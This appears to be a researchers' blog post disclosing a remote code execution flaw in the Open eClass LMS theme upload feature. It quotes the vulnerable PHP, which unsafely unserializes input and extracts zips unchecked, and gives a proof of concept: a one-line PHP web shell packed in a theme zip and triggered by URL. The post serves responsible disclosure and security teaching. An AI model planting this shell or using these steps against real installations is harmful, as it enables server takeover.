Introduction
The Open eClass platform (http://www.openeclass.org) is an integrated Learning Management System (LMS). It follows the philosophy of open source software and supports a multitude of e-learning scenarios without restrictions and constraints. The service can be accessed using a simple web browser without the requirement of specialized technical knowledge. Operationally, the Open eClass platform aims to implement e-learning actions that reinforce existing educational structures.
The Open eClass platform has a large stake in the Greek universities market as it and its competitor Moodle have dominated the open-source LMS niche.
This blog post presents our dive into the Open eClass codebase and our work on it.
Code Review
While looking for juicy endpoints, one particular file we stumbled upon was modules/admin/theme_options.php.
Judging from the name theme_options.php, one can make an educated guess that this module typically serves as the configuration schema or logic controller for a UI theme’s customizable settings, meaning that it either (de)serializes or uses files for theme settings loading and saving.
if (isset($_POST['import'])) {
if (!isset($_POST['token']) || !validate_csrf_token($_POST['token'])) {
csrf_token_error();
}
validateUploadedFile($_FILES['themeFile']['name'], 2);
if (get_file_extension($_FILES['themeFile']['name']) == 'zip') {
$file_name = $_FILES['themeFile']['name'];
if (!is_dir('courses/theme_data')) {
make_dir('courses/theme_data');
}
if (move_uploaded_file($_FILES['themeFile']['tmp_name'], "courses/theme_data/$file_name")) {
require_once 'modules/admin/extconfig/externals.php';
$connector = AntivirusApp::getAntivirus();
if($connector->isEnabled() == true ){
$output=$connector->check("courses/theme_data/$file_name");
if($output->status==$output::STATUS_INFECTED){
AntivirusApp::block($output->output);
}
}
$archive = new ZipArchive();
if ($archive->open("courses/theme_data/$file_name")) {
$archive->extractTo('courses/theme_data/temp');
unlink("$webDir/courses/theme_data/$file_name");
$base64_str = file_get_contents("$webDir/courses/theme_data/temp/theme_options.txt");
unlink("$webDir/courses/theme_data/temp/theme_options.txt");
$theme_options = unserialize(base64_decode($base64_str));
$new_theme_id = Database::get()->query("INSERT INTO theme_options (name, styles, version) VALUES(?s, ?s, 4)", $theme_options->name, $theme_options->styles)->lastInsertID;
rename("$webDir/courses/theme_data/temp/".intval($theme_options->id), "$webDir/courses/theme_data/temp/$new_theme_id");
recurse_copy("$webDir/courses/theme_data/temp","$webDir/courses/theme_data");
removeDir("$webDir/courses/theme_data/temp");
Session::flash('message',$langThemeInstalled);
Session::flash('alert-class', 'alert-success');
} else {
die("Error while unzipping file !");
}
$archive->close();
}
} else {
Session::flash('message',$langUnwantedFiletype);
Session::flash('alert-class', 'alert-danger');
}
redirect_to_home_page('modules/admin/theme_options.php');
}
Oh, were we right. Not only does it deserialize, it also allows any class!
As you can see, the application uses .zip to describe UI themes, but it does not sanitize paths nor check the contents or extensions of the files inside the archive. This may create an attack surface for arbitrary file upload and zip slips.
Let’s start with the deserialization first,
$theme_options = unserialize(base64_decode($base64_str));
unserialize seems to accept unvalidated input by the base64 string contained in the uploaded in theme_options.txt inside the zip file.
But after playing around, we didn’t manage to find gadgets in order to exploit this and gain RCE, primarily due to eClass running on PHP 8+, however this still poses a threat.
So after further exploring, we noticed that the module accepts a .zip with arbitrary files included within theme folder without filtering, sanitizing or escaping. An attacker can place arbitrary PHP files that will get served and evaluate via /courses/theme_data/<theme_id>/.
“Theme Options” is a feature that allows an administrator to update a current theme or upload a new one. A valid theme should have the following structure at the local file system:
folder/
├─ theme_options.txt
└─ <id>/
├─ static_files
├─ ...
The procedure for uploading a new theme requires the creation of a ZIP file with the above structure.
As can be observed, the application does not sanitize paths nor check the contents or extensions of the files inside the archive. This creates an attack surface for arbitrary file upload and zip slips.
PoC
By adding a malicious php file inside the path <archive_root>/ID/file.php, an attacker can achieve remote code execution.
To exploit this, a zip file must be created with the structure:
<zip root>/
├─ theme_options.txt
└─ <id>/
├─ static_files
├─ cmd.php
After the file is uploaded, by browsing at http://BASE_URL/courses/theme_data/2/cmd.php the cmd.php is executed.
So, we created a cmd.php with the following contents:
<?=`$_GET[0]`?>
Then, when browsing at http://BASE_URL/courses/theme_data/2/cmd.php?0=whoami, the whoami command is executed.
Epilogue
Overall, it took us much less than a day to properly exploit that vulnerability and it was fun, mainly because it’s PHP.
While we were in the process of responsible disclosure, the vulnerability was also independently discovered by another researcher.
By releasing this blog post, we hope to inspire more people to dig into open-source projects and especially those of great interest and large market shares, since these are the ones that pose the largest security risks.
GitHub Advisory
You can find here all relevant information regarding the vulnerability.
Discovered by
Edward Pasenidis
George Tyritidis
